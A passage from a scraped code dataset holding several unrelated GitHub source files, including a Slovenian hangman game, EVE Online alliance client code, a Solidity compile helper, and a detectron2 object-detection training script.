xml_processor.XmlProcessor(args)\n p.process()\n return p\n\n\ndef process(values):\n import shlex\n ar = shlex.split(values)\n #ar = values.split(\" \")\n args = []\n for a in ar:\n v = a.strip()\n if not v:\n continue\n args.append(v)\n\n args = get_parser().parse_args(args)\n return do(args)\n\n\nif __name__ == \"__main__\":\n parser = get_parser()\n\n dt = time.clock()\n do(parser.parse_args())\n dt = time.clock() - dt\n\n # print(\"total time: \" + str(dt))\n","repo_name":"oxygine/oxygine-framework","sub_path":"tools/oxyresbuild.py","file_name":"oxyresbuild.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","stars":761,"dataset":"github-code","pt":"32"} +{"seq_id":"33947927125","text":"import model \n\nlojtrice = 20 * '#' + '\\n'\n\ndef izpis_zmage(igra):\n return lojtrice + 'Čestitke, zmagali ste! Uganili ste besedo {0}!'.format(igra.geslo)\n\ndef izpis_poraza(igra):\n return lojtrice + 'Na žalost ste porabili vse poskuse in izgubili igro. Geslo je bilo {0}.'.format(igra.geslo)\n\ndef izpis_igre(igra):\n niz = lojtrice \n niz += igra.pravilni_del_gesla() \n niz += '\\n' + slika(igra)\n niz += '\\n' + 'Napačni ugibi: {0}\\n'.format(igra.nepravilni_ugibi()) \n niz += lojtrice[:-1]\n return niz\n\ndef slika(igra):\n n = igra.stevilo_napak()\n if n == 0:\n niz = 'Na voljo imate 10 napačnih ugibov.'\n if n == 1:\n niz = '_______'\n if n == 2:\n niz = ' |\\n |\\n |\\n |\\n_|______'\n if n == 3:\n niz = ' _____\\n |\\n |\\n |\\n |\\n_|______'\n if n == 4:\n niz = ' _____\\n |/\\n |\\n |\\n |\\n_|______'\n if n == 5:\n niz = ' _____\\n |/ |\\n |\\n |\\n |\\n_|______'\n if n == 6:\n niz = ' _____\\n |/ |\\n | o\\n |\\n |\\n_|______'\n if n == 7:\n niz = ' _____\\n |/ |\\n | o\\n | |\\n |\\n_|______'\n if n == 8:\n niz = ' _____\\n |/ |\\n | o\\n | /|\\n |\\n_|______'\n if n == 9: \n niz = ' _____\\n |/ |\\n | o\\n | /|\\\\\\n |\\n_|______'\n if n == 10:\n niz = ' _____\\n |/ |\\n | o\\n | /|\\\\\\n | /\\n_|______'\n if n == 11:\n niz = ' _____\\n |/ |\\n | o\\n | /|\\\\\\n | / \\\\\\n_|______'\n return niz\n \n\n\n\n\ndef izpis_novo():\n if input('Če želite začeti novo igro napišite da. ') == 'da':\n pozeni_vmesnik()\n\ndef zahtevaj_vnos():\n a = input('Ugibati želim črko: ')\n if a.isalpha() and len(a) == 1:\n return a\n else:\n print('Ugiba se z natanko eno črko!')\n return zahtevaj_vnos()\n \n\ndef pozeni_vmesnik():\n igra = model.nova_igra()\n\n while True:\n print(izpis_igre(igra))\n poskus = zahtevaj_vnos()\n igra.ugibaj(poskus)\n\n if igra.zmaga():\n print(izpis_zmage(igra))\n break\n \n if igra.poraz():\n print(slika(igra))\n print(izpis_poraza(igra))\n break\n izpis_novo()\n\n\npozeni_vmesnik()\n","repo_name":"Matematik411/Vislice","sub_path":"tekstovni_vmesnik.py","file_name":"tekstovni_vmesnik.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33638238263","text":"#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/eve/client/script/ui/services/alliances/all_cso_alliance.py\nimport util\nimport dbutil\nimport allianceObject\nimport blue\n\nclass AllianceO(allianceObject.base):\n __guid__ = 'allianceObject.alliance'\n\n def __init__(self, boundObject):\n allianceObject.base.__init__(self, boundObject)\n self.alliancesByAllianceID = None\n self.rankedAlliances = util.KeyVal(time=None, alliances=None, standings=None, maxLen=None)\n\n def DoSessionChanging(self, isRemote, session, change):\n pass\n\n def GetRankedAlliances(self, maxLen = 100):\n if self.rankedAlliances.time is not None:\n if self.rankedAlliances.maxLen != maxLen or blue.os.TimeDiffInMs(self.rankedAlliances.time, blue.os.GetWallclockTime()) > 5000:\n self.rankedAlliances.time = None\n if self.rankedAlliances.time is None:\n self.rankedAlliances.time = blue.os.GetWallclockTime()\n self.rankedAlliances.maxLen = maxLen\n self.rankedAlliances.alliances = sm.RemoteSvc('allianceRegistry').GetRankedAlliances(maxLen)\n self.rankedAlliances.standings = {}\n for a in self.rankedAlliances.alliances:\n s = sm.GetService('standing').GetStanding(eve.session.corpid, a.allianceID)\n self.rankedAlliances.standings[a.allianceID] = s\n\n return self.rankedAlliances\n\n def UpdateAlliance(self, description, url):\n return self.GetMoniker().UpdateAlliance(description, url)\n\n def GetAlliance(self, allianceID = None):\n if allianceID is None:\n allianceID = eve.session.allianceid\n if allianceID is None:\n raise RuntimeError('NoSuchAlliance')\n if self.alliancesByAllianceID is not None and self.alliancesByAllianceID.has_key(allianceID):\n return self.alliancesByAllianceID[allianceID]\n alliance = None\n if allianceID == eve.session.allianceid:\n alliance = self.GetMoniker().GetAlliance()\n else:\n alliance = sm.RemoteSvc('allianceRegistry').GetAlliance(allianceID)\n self.LoadAlliance(alliance)\n return self.alliancesByAllianceID[allianceID]\n\n def LoadAlliance(self, alliance):\n if self.alliancesByAllianceID is None:\n self.alliancesByAllianceID = dbutil.CRowset(alliance.__header__, []).Index('allianceID')\n self.alliancesByAllianceID[alliance.allianceID] = alliance\n\n def OnAllianceChanged(self, allianceID, change):\n bAdd, bRemove = self.GetAddRemoveFromChange(change)\n if self.alliancesByAllianceID is not None:\n if bAdd:\n if len(change) != len(self.alliancesByAllianceID.columns):\n self.LogWarn('IncorrectNumberOfColumns ignoring change as Add change:', change)\n return\n line = []\n for columnName in self.alliancesByAllianceID.columns:\n line.append(change[columnName][1])\n\n self.alliancesByAllianceID[allianceID] = blue.DBRow(self.alliancesByAllianceID.header, line)\n else:\n if not self.alliancesByAllianceID.has_key(allianceID):\n return\n if bRemove:\n del self.alliancesByAllianceID[allianceID]\n else:\n alliance = self.alliancesByAllianceID[allianceID]\n for columnName in change.iterkeys():\n setattr(alliance, columnName, change[columnName][1])\n\n if cfg.allianceshortnames.data.has_key(allianceID):\n header = cfg.allianceshortnames.header\n line = cfg.allianceshortnames.data[allianceID]\n i = -1\n for columnName in header:\n i = i + 1\n if not change.has_key(columnName):\n continue\n line[i] = change[columnName][1]\n\n sm.GetService('corpui').OnAllianceChanged(allianceID, change)","repo_name":"alexcmd/eve","sub_path":"eve-8.21.494548/eve/client/script/ui/services/alliances/all_cso_alliance.py","file_name":"all_cso_alliance.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"8113527582","text":"import os\nfrom solcx import compile_standard, set_solc_version, install_solc\nimport json\n\ndef compile_export_contract(c_type):\n\n try:\n\n contract_path = 'contracts/pending/' + c_type + '_logic.sol'\n output_folder = 'abis'\n contract_name = 'Avian' + c_type.capitalize() + 'Exchange'\n\n with open(contract_path, 'r') as f: # Read the contract file\n contract_source_code = f.read()\n\n install_solc('0.8.9')\n set_solc_version('0.8.9')\n\n compiled_sol = compile_standard( # Compile the contract\n {\n \"language\": \"Solidity\",\n \"sources\": {\n os.path.basename(contract_path): {\n \"content\": contract_source_code\n }\n },\n \"settings\": {\n \"outputSelection\": {\n \"*\": {\n \"*\": [\"abi\", \"evm.bytecode.object\"]\n }\n }\n }\n },\n )\n\n contract_abi = compiled_sol['contracts'][os.path.basename(contract_path)][contract_name]['abi']\n\n contract_bcode = compiled_sol['contracts'][os.path.basename(contract_path)][contract_name][\"evm\"][\"bytecode\"][\"object\"]\n\n result = {\n \"abi\" : contract_abi,\n \"bytecode\" : contract_bcode\n }\n\n abi_file_path = os.path.join(output_folder, str(contract_name + '.json'))\n with open(abi_file_path, 'w') as f:\n json.dump(result, f, indent=4)\n\n return(\"Succesful\")\n \n except Exception as e:\n print(e)\n return(\"Failes\")","repo_name":"AvianFinance/rule-engine","sub_path":"sm_handler/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70515418013","text":"from torch.utils.data import Dataset\r\nfrom utils import load_mean_std, load_node_features, load_edge_features\r\n\r\n\r\nclass ProDataset(Dataset):\r\n\r\n def __init__(self, wkdir, sequence_dict):\r\n self.wkdir = wkdir\r\n self.names = list(sequence_dict.keys())\r\n self.sequences = list(sequence_dict.values())\r\n self.mean, self.std = load_mean_std(self.wkdir)\r\n\r\n def __getitem__(self, index):\r\n name = self.names[index]\r\n sequence = self.sequences[index]\r\n # L * 91\r\n node_features = load_node_features(self.wkdir, name, self.mean, self.std)\r\n # L * L\r\n edge_features = load_edge_features(self.wkdir, name)\r\n return name, sequence, node_features, edge_features\r\n\r\n def __len__(self):\r\n return len(self.names)\r\n\r\n","repo_name":"jcchan23/GraphSol","sub_path":"Predict/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"32"} +{"seq_id":"37348383107","text":"from Res2coco import res2coco \nfrom Post_processing import result_analysis\nimport ResultMerge\nimport numpy as np\nfrom detectron2 import model_zoo\nfrom detectron2.config import get_cfg\nimport tqdm,time,torch,logging,json,csv,os,random,cv2\nfrom detectron2.data.datasets import register_coco_instances\nfrom detectron2.utils.visualizer import Visualizer\nfrom detectron2.structures import BoxMode\nfrom detectron2.utils.visualizer import ColorMode\nfrom collections import OrderedDict\nimport detectron2.utils.comm as comm\nfrom detectron2.checkpoint import DetectionCheckpointer\nfrom detectron2.evaluation import COCOEvaluator, inference_on_dataset\nfrom detectron2.data import build_detection_test_loader,MetadataCatalog, DatasetCatalog\nfrom detectron2.engine import DefaultTrainer, default_argument_parser, default_setup, hooks, launch,DefaultPredictor\nfrom detectron2.evaluation import (\n COCOEvaluator,\n verify_results,\n DatasetEvaluators,\n)\n\ndef get_balloon_dicts(img_dir):\n json_file = os.path.join(img_dir, \"via_region_data.json\")\n with open(json_file) as f:\n imgs_anns = json.load(f)\n\n dataset_dicts = []\n for idx, v in enumerate(imgs_anns.values()):\n record = {}\n filename = os.path.join(img_dir, v[\"filename\"])\n height, width = cv2.imread(filename).shape[:2]\n \n record[\"file_name\"] = filename\n record[\"image_id\"] = idx\n record[\"height\"] = height\n record[\"width\"] = width\n \n annos = v[\"regions\"]\n objs = []\n for _, anno in annos.items():\n assert not anno[\"region_attributes\"]\n anno = anno[\"shape_attributes\"]\n px = anno[\"all_points_x\"]\n py = anno[\"all_points_y\"]\n poly = [(x + 0.5, y + 0.5) for x, y in zip(px, py)]\n poly = [p for x in poly for p in x]\n\n obj = {\n \"bbox\": [np.min(px), np.min(py), np.max(px), np.max(py)],\n \"bbox_mode\": BoxMode.XYXY_ABS,\n \"segmentation\": [poly],\n \"category_id\": 0,\n \"iscrowd\": 0\n }\n objs.append(obj)\n record[\"annotations\"] = objs\n dataset_dicts.append(record)\n return dataset_dicts\n\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\nfor d in [\"train\", \"val\"]:\n os.path.join(\"/root/data/gvision/dataset/raw_data/ballon/\", d)\n DatasetCatalog.register(\"balloon_\" + d, lambda d=d: get_balloon_dicts(os.path.join(\"/root/data/gvision/dataset/raw_data/ballon\", d)))\n MetadataCatalog.get(\"balloon_\" + d).set(thing_classes=[\"balloon\"])\nballoon_metadata = MetadataCatalog.get(\"balloon_train\")\nprint(\"------------------------dataset\")\n\n\"\"\"To verify the data loading is correct, let's visualize the annotations of randomly selected samples in the training set:\"\"\"\nprint(os.getcwd())\ndataset_dicts = get_balloon_dicts(\"/root/data/gvision/dataset/raw_data/ballon/train\")\nfor d in random.sample(dataset_dicts, 3):\n img = cv2.imread(d[\"file_name\"])\n visualizer = Visualizer(img[:, :, ::-1], metadata=balloon_metadata, scale=0.5)\n vis = visualizer.draw_dataset_dict(d)\n cv2.imwrite(\"/root/data/gvision/dataset/raw_data/ballon/annos_in_image/ball.jpg\",vis.get_image()[:, :, ::-1])\n\n\nclass Trainer(DefaultTrainer):\n @classmethod\n def build_evaluator(cls, cfg, dataset_name, output_folder=None):\n if output_folder is None:\n output_folder = os.path.join(cfg.OUTPUT_DIR, \"inference\")\n evaluator_list = []\n evaluator_type = MetadataCatalog.get(dataset_name).evaluator_type\n if evaluator_type in [\"coco\", \"coco_panoptic_seg\"]:\n evaluator_list.append(COCOEvaluator(dataset_name, cfg, True, output_folder))\n if len(evaluator_list) == 0:\n raise NotImplementedError(\n \"no Evaluator for the dataset {} with the type {}\".format(\n dataset_name, evaluator_type\n )\n )\n elif len(evaluator_list) == 1:\n return evaluator_list[0]\n return DatasetEvaluators(evaluator_list)\n @classmethod\n def test_with_TTA(cls, cfg, model):\n logger = logging.getLogger(\"detectron2.trainer\")\n # In the end of training, run an evaluation with TTA\n # Only support some R-CNN models.\n logger.info(\"Running inference with test-time augmentation ...\")\n model = GeneralizedRCNNWithTTA(cfg, model)\n evaluators = [\n cls.build_evaluator(\n cfg, name, output_folder=os.path.join(cfg.OUTPUT_DIR, \"inference_TTA\")\n )\n for name in cfg.DATASETS.TEST\n ]\n res = cls.test(cfg, model, evaluators)\n res = OrderedDict({k + \"_TTA\": v for k, v in res.items()})\n return res\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\"\"\"注册数据集\"\"\"\n#inference\nVAL_impath=\"/root/data/gvision/dataset/inference/VAL_split/image_train\"\nTRAIN_impath=\"/root/data/gvision/dataset/inference/TRAIN_split/image_train\"\n#train\ntrain_impath=\"/root/data/gvision/dataset/train/s0.5_t0.8_all/image_train\"\npv_raw_test_impath=\"/root/data/gvision/dataset/raw_data/image_test\"\npv_split_test_impath=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_test\"\nPREDEFINED_SPLITS_DATASET = {\n \"person_TRAIN\": (\"/root/data/gvision/dataset/inference/TRAIN_split/image_annos/coco_person_TRAIN_hwnoi.json\",TRAIN_impath),\n \"vehicle_TRAIN\": (\"/root/data/gvision/dataset/inference/TRAIN_split/image_annos/coco_vehicle_TRAIN_hwnoi.json\",TRAIN_impath),\n \"pv_TRAIN\": (\"/root/data/gvision/dataset/inference/TRAIN_split/image_annos/coco_pv_TRAIN_hwnoi.json\",TRAIN_impath),\n \"person_VAL\": (\"/root/data/gvision/dataset/inference/VAL_split/image_annos/coco_person_VAL_hwnoi.json\",VAL_impath),\n \"vehicle_VAL\": (\"/root/data/gvision/dataset/inference/VAL_split/image_annos/coco_vehicle_VAL_hwnoi.json\",VAL_impath),\n \"pv_VAL\": (\"/root/data/gvision/dataset/inference/VAL_split/image_annos/coco_pv_VAL_hwnoi.json\",VAL_impath),\n\n\n \"person_train\": (\"/root/data/gvision/dataset/train/s0.5_t0.8_all/image_annos/coco_person_train_hwnoi.json\",train_impath),\n \"vehicle_train\": (\"/root/data/gvision/dataset/train/s0.5_t0.8_all/image_annos/coco_vehicle_train_split_hwnoi.json\",train_impath),\n \"pv_train\": (\"/root/data/gvision/dataset/train_all_annos/s0.3_t0.7_all/image_annos/coco_pv_train_bbox_hwnoi.json\",\n \"/root/data/gvision/dataset/train_all_annos/s0.3_t0.7_all/image_train\"),\n \"pv_raw_test\": (\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/resJSONS/coco_merge_result.json\",pv_raw_test_impath),\n \"pv_test\": (\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/coco_person_bbox_test_141517_split.json\",pv_split_test_impath),\n}\n\ndef get_test_dicts(img_dir=\"/root/data/gvision/dataset/raw_data\",annos_file=\"test_14_15_17.json\"):\n attrDict = dict()\n attrDict[\"categories\"] = [\n {\"supercategory\": \"none\", \"id\": 1, \"name\": 'visible body'},\n {\"supercategory\": \"none\", \"id\": 2, \"name\": 'full body'},\n {\"supercategory\": \"none\", \"id\": 3, \"name\": 'head'},\n {\"supercategory\": \"none\", \"id\": 4, \"name\": 'vehicle'}\n ]\n images = list()\n annotations=list()\n json_file = os.path.join(img_dir, \"image_annos\",annos_file)\n with open(json_file) as f:\n imgs_anns = json.load(f)\n for idx,(filename,image_dicts) in enumerate(imgs_anns.items()):\n record = {}\n record[\"file_name\"] = filename\n record[\"id\"] = image_dicts[\"image id\"]\n record[\"height\"] = image_dicts[\"image size\"][\"height\"]\n record[\"width\"] =image_dicts[\"image size\"][\"width\"]\n images.append(record)\n attrDict[\"images\"] = images\n attrDict[\"annotations\"] = annotations\n attrDict[\"type\"] = \"instances\"\n\n return attrDict\n\nDatasetCatalog.register(\"test\" ,lambda:get_test_dicts(\"/root/data/gvision/dataset/raw_data\",annos_file=\"test_14_15_17.json\"))\nMetadataCatalog.get(\"test\").set(thing_classes=['visible body','full body','head','vehicle'])\n\ncfg = get_cfg()\ncfg.merge_from_file(\"/root/data/gvision/detectron2-master/configs/COCO-Detection/faster_rcnn_R_50_FPN_3x.yaml\")\n# cfg.merge_from_file(\"/root/data/gvision/detectron2-master/configs/COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml\")\n\ncfg.SOLVER.BASE_LR = 0.005 # pick a good \n# 300 iterations seems good enough for this toy dataset; you may need to train longer for a practical dataset\ncfg.SOLVER.IMS_PER_BATCH = 2*4# batch_size=2*5; iters_in_one_epoch = dataset_imgs/batch_size 22302\n# ITERS_IN_ONE_EPOCH = int(9254/cfg.SOLVER.IMS_PER_BATCH )\nITERS_IN_ONE_EPOCH = int(61/cfg.SOLVER.IMS_PER_BATCH )\n# 保存模型文件的命名数据减1# Save a checkpoint after every this number of iterations\ncfg.SOLVER.CHECKPOINT_PERIOD =100\n# cfg.SOLVER.MAX_ITER =1000\n# cfg.SOLVER.MAX_ITER =ITERS_IN_ONE_EPOCH * 5+1 # 300 iterations seems good enough for this toy dataset; you may need to train longer for a practical dataset\ncfg.SOLVER.MAX_ITER =400\ncfg.OUTPUT_DIR=\"/root/data/gvision/dataset/d2_output/my_balloon_faster_lr0.02\"\ncfg.DATASETS.TRAIN = (\"balloon_train\",)\n# cfg.DATASETS.TRAIN=(\"pv_train\",) \ncfg.DATASETS.TEST=(\"balloon_val\",) \n# cfg.DATASETS.TEST=(\"pv_test\",) \ncfg.MODEL.ROI_HEADS.NUM_CLASSES = 1 # only has one class (ballon)\nos.makedirs(cfg.OUTPUT_DIR,exist_ok=True)\nwith open(os.path.join(cfg.OUTPUT_DIR,\"config1.yaml\"),'w') as f: #设置文件对象\n f.write(\"{}\".format(cfg)) \n# cfg.freeze()\ndef register_dataset():\n \"\"\"\n purpose: register all splits of dataset with PREDEFINED_SPLITS_DATASET\n \"\"\"\n for key, (json_file,image_root) in PREDEFINED_SPLITS_DATASET.items():\n register_coco_instances(key,{},json_file,image_root)\n\ndef checkout_dataset_annotation(save_path=\"/root/data/gvision/dataset/train_all_annos/s0.3_t0.7_all/pv_image_in_annos\",subdata_name=\"pv_train\",showwidth=640):\n \"\"\"\n Create configs and perform basic setups. \n DATASETS:person(vehicle or pv)_VAL(TRAIN or train) or 查看融合的结果\n \"\"\"\n os.makedirs(save_path,exist_ok=True)\n metadata_dicts= MetadataCatalog.get(subdata_name)\n print(\"checkout_dataset_annotation------------------------------------------------start\")\n dataset_dicts = DatasetCatalog.get(subdata_name)\n # random.seed(0)\n # for d in dataset_dicts:\n for d in random.sample(dataset_dicts, 10):\n img = cv2.imread(d[\"file_name\"])\n visualizer = Visualizer(img[:, :, ::-1], metadata=metadata_dicts, scale=1)#font sacle\n vis = visualizer.draw_dataset_dict(d)\n save_name=os.path.join(save_path,\"visual_{}\".format(os.path.basename(d[\"file_name\"])))\n print(save_name)\n img=vis.get_image()[:, :, ::-1]\n imgheight, imgwidth = img.shape[:2]\n scale = showwidth / imgwidth\n img = cv2.resize(vis.get_image()[:, :, ::-1], (int(imgwidth * scale), int(imgheight * scale)),interpolation=cv2.INTER_AREA)\n cv2.imwrite(save_name,img ,[int(cv2.IMWRITE_PNG_COMPRESSION), 9])\n print(\"checkout_dataset{}_annotation------------------------------------------------end\".format(subdata_name))\n \"\"\"\n Create configs and perform basic setups. \n DATASETS:person(vehicle or pv)_VAL(TRAIN or train)\n \"\"\"\ndef train(train_flag,resume=False):\n # trainer= Trainer(cfg)\n trainer = DefaultTrainer(cfg) \n trainer.resume_or_load(resume)\n if train_flag:\n trainer.train()\n return trainer\ndef predict_ballon(): \n cfg.MODEL.WEIGHTS=os.path.join(cfg.OUTPUT_DIR,\"model_final.pth\")\n dataset_dicts = get_balloon_dicts(\"/root/data/gvision/dataset/raw_data/ballon/val\")\n predictor = DefaultPredictor(cfg)\n for d in random.sample(dataset_dicts, 3): \n file_name=os.path.basename(d[\"file_name\"])\n print(file_name)\n \n im = cv2.imread(d[\"file_name\"])\n outputs = predictor(im)\n print(outputs)\n v = Visualizer(im[:, :, ::-1],metadata=balloon_metadata, scale=0.8)#, instance_mode=ColorMode.IMAGE_BW) # remove the colors of unsegmented pixels)\n v = v.draw_instance_predictions(outputs[\"instances\"].to(\"cpu\"))\n os.makedirs(os.path.join(cfg.OUTPUT_DIR,\"my_predict_split_visual\"),exist_ok=True)\n cv2.imwrite(os.path.join(cfg.OUTPUT_DIR,\"my_predict_split_visual\",\"vis_{}\".format(file_name)),v.get_image()[:, :, ::-1])\n\ndef predict(cfg,megrge_result=False,visual=False):\n \"\"\"\n instances format:{'pred_boxes': Boxes(tensor([[ 732.5856, 1598.1067, 766.4857, 1633.0486]], device='cuda:0')), \n 'scores': tensor([0.9482], device='cuda:0'), 'pred_classes': tensor([2], device='cuda:0')}\n BoxMode.convert(pre_instances.pred_boxes.tensor,from_mode=BoxMode.XYXY_ABS,to_mode=BoxMode.XYWH_ABS\n print(\"\\n\"+\"-\" * int(i/len(dataset_test_dicts.keys())*100*50) +\">\"+ \"{}\".format(i/len(dataset_test_dicts.keys())) + \"%\", end='\\r')\n time.sleep(0.00001)\n json.dump(coco_list_results,f,cls=MyEncoder,indent=2)# print(type(dict_value))# print(type(dict_value[\"image id\"]))\n \"\"\"\n predictor = DefaultPredictor(cfg)\n test_annos_root_dir=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517\"\n test_json=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox_test_141517_split.json\"\n # test_annos_root_dir=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517\"\n # test_json=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox_test_141517_split.json\"\n # print(os.getcwd())\n dataset_test_dicts = json.load(open(test_json,\"r\"))\n coco_list_results=[]\n print(\"predict-------------------start\")\n os.makedirs(os.path.join(cfg.OUTPUT_DIR, \"my_predict\"),exist_ok=True)\n f=open(os.path.join(cfg.OUTPUT_DIR, \"my_predict\",\"pre_result.json\"),'w') \n # for j,(file_name,dict_value) in enumerate(dataset_test_dicts.items()):\n for j,(file_name,dict_value) in enumerate(random.sample(dataset_test_dicts.items(),20)):\n cate=[]\n coco_dict_results={}\n id_1,id_2,id_3,id_4=0,0,0,0\n print(\"{}\\t{}-------------------{}\".format(file_name,j,len(dataset_test_dicts.keys())),flush=True)\n img=cv2.imread(os.path.join(\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_test\",file_name))\n pre_output =predictor(img)\n pre_instances=pre_output['instances']\n for i in range(len(pre_instances.scores)):\n coco_dict_results[\"image_id\"]=dict_value[\"image id\"]\n coco_dict_results[\"category_id\"]=pre_instances.pred_classes.cpu().numpy()[i]+1\n coco_dict_results[\"bbox\"]=pre_instances.pred_boxes.tensor.cpu().numpy()[i]#pre_output['instances'].to(\"cpu\")\n coco_dict_results[\"score\"]=pre_instances.scores.cpu().numpy()[i]\n coco_list_results.append(coco_dict_results)\n # if save=FALSE:\n if visual:\n if 1:\n # b = random.randint(0, 255)\n # g = random.randint(0, 255)\n # r = random.randint(0, 255)\n cate.append(coco_dict_results[\"category_id\"])\n xmin, ymin, xmax , ymax = coco_dict_results[\"bbox\"]\n if coco_dict_results[\"category_id\"]==1:#green\n id_1+=1\n img=cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (138,255,0), 8,lineType=8)\n cv2.putText(img, '{}'.format(coco_dict_results[\"category_id\"]), (xmin,ymin), cv2.FONT_HERSHEY_COMPLEX, 1.5, (138,255,0), 4)\n if coco_dict_results[\"category_id\"]==2:#pink\n id_2+=1\n img=cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (138,0,255), 8,lineType=8)\n cv2.putText(img, '{}'.format(coco_dict_results[\"category_id\"]), (xmin,ymin), cv2.FONT_HERSHEY_COMPLEX, 1.5, (138,0,255), 4)\n if coco_dict_results[\"category_id\"]==3:#purple\n id_3+=1\n img=cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (255,46,46), 8,lineType=8)\n cv2.putText(img, '{}'.format(coco_dict_results[\"category_id\"]), (xmin,ymin), cv2.FONT_HERSHEY_COMPLEX, 1.5, (255,46,46), 4)\n if coco_dict_results[\"category_id\"]==4:#grey\n id_4+=1\n img=cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (131,131,131), 8,lineType=8)\n cv2.putText(img, '{}'.format(coco_dict_results[\"category_id\"]), (xmin,ymin), cv2.FONT_HERSHEY_COMPLEX, 1.5, (131,131,131), 4)\n cv2.putText(img, r\"len{} cid:{}\".format(len(pre_instances.scores),list(set(cate))[:]), (15,40), cv2.FONT_HERSHEY_COMPLEX, 1.5, (170,64,112), 4)#\n cv2.putText(img, r\"c1:{} c2:{} c3:{} c4:{}\".format(id_1,id_2,id_3,id_4), (15,80), cv2.FONT_HERSHEY_SIMPLEX, 1.5, (170,64,112), 4)\n #统计每个类别的数量\n os.makedirs(os.path.join(cfg.OUTPUT_DIR,\"my_split_visual\"),exist_ok=True)\n cv2.imwrite(os.path.join(cfg.OUTPUT_DIR,\"my_split_visual\",\"vis_per5555_{}\".format(file_name)),img)\n if j%2000==0:\n f=open(os.path.join(cfg.OUTPUT_DIR, \"my_predict\",\"pre_result.json\"),'w') \n f.write(json.dumps(\"{}\".format(coco_list_results),cls=MyEncoder))#\n f.write(json.dumps(coco_list_results,cls=MyEncoder))\n print(\"predict----------------end\")\n if megrge_result:\n print(\"--------->>>>>>>>>merge-------------start\")\n merge =ResultMerge.DetResMerge(resfile=os.path.join(cfg.OUTPUT_DIR, \"my_predict\",\"pre_result.json\"), \n splitannofile=test_json, \n srcannofile=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox_test_14_15_17.json\",\n outpath=cfg.OUTPUT_DIR,\n outfile=\"resJSONS/pv_pre_merge_result.json\")\n merge.mergeResults(is_nms=True)\n print(\"merge-------------end\")\ndef merge():\n print(\"--------->>>>>>>>>merge-------------start\")\n merge =ResultMerge.DetResMerge(resfile=os.path.join(cfg.OUTPUT_DIR, \"my_inference\",\"inference_results.json\"), \n splitannofile=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox_test_141517_split.json\" ,\n srcannofile=\"/root/data/gvision/dataset/predict/s0.5_t0.8_141517/image_annos/person_bbox_test_141517.json\",\n outpath=cfg.OUTPUT_DIR,\n outfile=\"my_inference/pv_inference_merge_result.json\")\n merge.mergeResults(is_nms=True)\n print(\"merge-------------end\")\n\ndef main():\n \"register data\"\n register_dataset()\n \"checkout raw dataset annotation\"\n # checkout_dataset_annotation()\n \"train\"\n trainer=train(train_flag=True,resume=False)\n \"predict and merge_nms\"\n predict_ballon()\n # predict(cfg,megrge_result=False,visual=True)\n \"merge\"\n # merge()\n \"checkout merge predict result annotation \"\n # checkout_pre_annotation()\n # checkout_dataset_annotation((save_path=os.path.join(cfg.OUTPUT_DIR,\"my_merge_visual\"),subdata_name=\"pv_raw_test\")\n \"data analysis ,coco format save,output visual,megrgeresult visual--\"\n # result_analysis()\n # evaluator = COCOEvaluator(\"pv_test\",cfg, True, output_dir=os.path.join(cfg.OUTPUT_DIR,\"my_pv_test_inference\"))\n\n \"\"\"Evaluate object proposal, instance detection/segmentation, keypoint detectionoutputs using COCO's metrics and APIs.\"\"\"\n # evaluator = COCOEvaluator(\"pv_test\",cfg, True, output_dir=os.path.join(cfg.OUTPUT_DIR,\"my_test\"))\n # trainer.test(cfg,trainer.model,evaluator)#与cfg.DATASETS.TEST=(\"pv_VAL\",) 有关\n # evaluator = COCOEvaluator(\"pv_test\",cfg, True, output_dir=os.path.join(cfg.OUTPUT_DIR,\"my_inference\"),result_name=\"pv_inference_results_11.json\",pth_name=\"instances_predictions.pth\")\n # val_loader = build_detection_test_loader(cfg,\"pv_test\")#与cfg.DATASETS.TEST=(\"pv_VAL\",) 无关\n # inference_on_dataset(trainer.model, val_loader, evaluator=None)#only benchmark default evaluator\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n","repo_name":"Harzva/gigavision","sub_path":"my_tools/my_fastercnn.py","file_name":"my_fastercnn.py","file_ext":"py","file_size_in_byte":20386,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"69963081371","text":"from django.urls import path\n\nfrom .views import IpListView, InternalSourceIpOnlyListView, ExternalSourceIpOnlyListView\n\n\napp_name = 'ips'\n\nurlpatterns = [\n path('', IpListView.as_view(), name='list'),\n path('internal/', InternalSourceIpOnlyListView.as_view(), name='internal-list'),\n path('external/', ExternalSourceIpOnlyListView.as_view(), 